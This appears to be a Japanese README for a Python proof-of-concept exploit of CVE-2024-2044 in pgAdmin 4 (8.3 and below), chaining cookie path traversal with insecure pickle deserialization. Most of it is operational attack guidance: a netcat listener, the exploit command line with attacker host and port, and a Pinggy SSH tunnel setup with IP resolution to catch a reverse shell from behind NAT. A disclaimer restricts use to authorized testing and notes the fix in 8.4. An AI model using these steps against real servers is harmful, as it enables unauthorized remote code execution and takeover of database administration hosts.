
pgAdmin 4(8.3以下)におけるCVE-2024-2044を悪用するPython PoC。認証済みパストラバーサルと安全でないpickleデシリアライゼーションを利用して、リモートコード実行とリバースシェルを実現します。
このリポジトリには、Linux/POSIX環境で動作するpgAdmin 4(バージョン8.3以下)における、認証済みパストラバーサルと安全でないデシリアライゼーションを組み合わせた重大な脆弱性であるCVE-2024-2044のProof of Concept(PoC)スクリプトが含まれています。
[!WARNING] 免責事項: このコードは、教育、セキュリティ研究、および正式なペネトレーションテスト(authorized pentesting)のみを目的として作成されています。書面による許可なくターゲットを攻撃するためにこのコードを悪用することは、違法行為であり法律に違反します。
Linux環境でサーバーモードのpgAdmin 4では、セッション管理はローカルファイルの形式で保存されます。この脆弱性は、FileBackedSessionManager.get()関数がHTTP cookie pga4_sessionの値を受け取り、パス操作文字(../)のサニタイズを行わずにos.path.joinを使用してディレクトリパスに結合するために発生します。
このPoCスクリプトは、以下の流れでこの脆弱性を悪用します:
pickleオブジェクトをアップロードします。このファイルはユーザーのストレージディレクトリ(例: /storage/nama_user/)の下に保存されます。pga4_session cookieを、アップロードされたpickleファイルへの相対パス(例: ../storage/nama_user/file.pickle!)に操作して、/loginにHTTPリクエストを送信します。!記号は、pgAdmin 4のセッションファイル拡張子の検索に合わせるために使用されます。pickle.loads()で処理するように欺かれます。その結果、ペイロードは別の(detached)Pythonプロセスを実行し、攻撃者にReverse Shellを送信します。requestsライブラリ。nc -lvnp 4444
python3 exploit.py -t http://<TARGET_IP>:<PORT> -u "[email protected]" -p "player123" -lhost <IP_ATTACKER> -lport 4444
マシンがNAT/ルーターの背後にあり、パブリックトンネリングが必要な場合は、以下の手順でPinggy.ioサービスを使用できます:
まず、選択したポート(例: ポート1337)を使用して、ローカルマシンでncを起動します:
nc -lvnp 1337
新しいターミナルを開き、Pinggy SSHコマンドを実行します。末尾のローカルポート(1337)が、先ほど起動したncのポートと一致していることを確認してください:
ssh -p 443 -R0:localhost:1337 [email protected]
接続後、PinggyはパブリックTCP URLを提供します。例えば:
tcp://ubylm-103-79-246-198.run.pinggy-free.link:43143

注: Pinggyから取得したパブリックポートは43143です(これが後で-lportになります)。
ターゲットのpgAdmin 4サーバーは、reverse shellソケット接続のために実際のIPアドレス形式を必要とします。Pinggy URLのドメインに対してnslookupを実行します:
nslookup ubylm-103-79-246-198.run.pinggy-free.link
出力にはPinggyサーバーのパブリックIPが表示されます(最上部のAddressセクションのIPv4を選択してください):
Non-authoritative answer:
ubylm-103-79-246-198.run.pinggy-free.link canonical name = lin.ap.12.a.pinggy.click.
Name: lin.ap.12.a.pinggy.click
Address: 172.236.148.125
上記の出力から、Pinggyの実際のIP 172.236.148.125が取得できました。

nslookupの結果のIPを-lhostとして、Pinggyのパブリックポートを-lportとして入力し、PoCスクリプトを実行します:
python3 exploit.py -t http://<TARGET_IP>:<PORT> -u "[email protected]" -p "player123" -lhost 172.236.148.125 -lport 43143


-t, --target : pgAdmin 4のターゲットURL (必須)。-u, --username: ログイン用メール/ユーザー名 (デフォルト: [email protected])。-p, --password: ログインパスワード (デフォルト: player123)。-lhost : 攻撃者のIPアドレス / Pinggyのnslookup結果IP (必須)。-lport : 攻撃者のリスナーポート / Pinggyのパブリックポート (必須)。この脆弱性はpgAdmin 4バージョン8.4で修正されています。脆弱なサーバーを管理している場合は、直ちに以下の措置を講じてください: